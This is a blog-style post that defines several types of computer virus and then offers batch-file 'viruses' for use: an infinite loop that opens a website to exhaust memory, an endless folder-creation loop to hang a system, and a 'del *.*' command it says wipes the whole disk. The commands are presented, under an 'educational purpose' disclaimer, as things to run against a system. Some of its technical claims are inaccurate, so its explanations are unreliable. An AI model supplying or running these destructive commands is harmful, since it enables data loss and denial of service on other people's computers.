What is a virus? types they are ? How to make a virus

This post is for educational purpose i am not responsible for any damage 

hello guys Ashutosh here back with some exciting knowledge about viruses so lets get started .

What is a computer virus .

A computer virus is a program designed to harm or cause harm on an infected computer. Its spreads through e-mail attachments, portable devices, websites containing malicious scripts and file downloads. A computer virus attaches itself to the host files and always activate whenever you open the infected files. The virus can replicate itself and then infect the other files on your computer causing more damage. Below is a list of different types of computer viruses and what they do.

MACRO VIRUSES

These viruses infect the files created using some applications or programs that contain macros such as doc, pps, xls and mdb. They automatically infect the files with macros and also templates and documents that are contained in the file. They hide in documents shared through e-mail and networks.

Macro viruses include:

• Relax
• bablas
• Melissa.A
• 097M/Y2K

MEMORY RESIDENT VIRUSES

They usually fix themselves inside the computer memory. They get activated every time the OS runs and end up infecting other opened files. They hide in RAM.

Memory Resident Viruses Include:

• CMJ
• meve
• randex
• mrklunky

OVERWRITE VIRUSES

These types of viruses delete any information in a file they infect, leaving them partially or completely useless once they are infected. Once in the computer, they replaces all the file content but the file size doesn’t change.

Overwrite Viruses Include:

• Trj.Reboot
• way
• trivial.88.D

DIRECT ACTION VIRUSES

These viruses mainly replicate or take action once they are executed. When a certain condition is met, the viruses will act by infecting the files in the directory or the folder specified in the AUTOEXEC.BAT. The viruses are generally found in the hard disk’s root directory, but they keep on changing location.

TROJANS

Trojans can illegally trace important login details of users online. For example E-Banking is very common among users, therefore, vulnerability of tracing your login details whenever your PC is working without any strong powerful antivirus installed.

EMAIL VIRUS

This is a virus spread via an email. Such a virus will hide in an email and when the recipient opens the mail.

Here are my fav and most dangerous virus 

 RAM crashing trick:

:A
start http://primetechhacker.cf
goto A

How to hang a system this virus works for that  create more than 3,000 folders under a minute:

 Open your notepad and type

the following code.
@echo off
:top
md %random%
goto top

How to Delete all your system:

files with a small command!Copy the following code into your
notepad and save it as a .bat
file.
del *.*

All your files in your hard disk will
vanish in less than 5mins.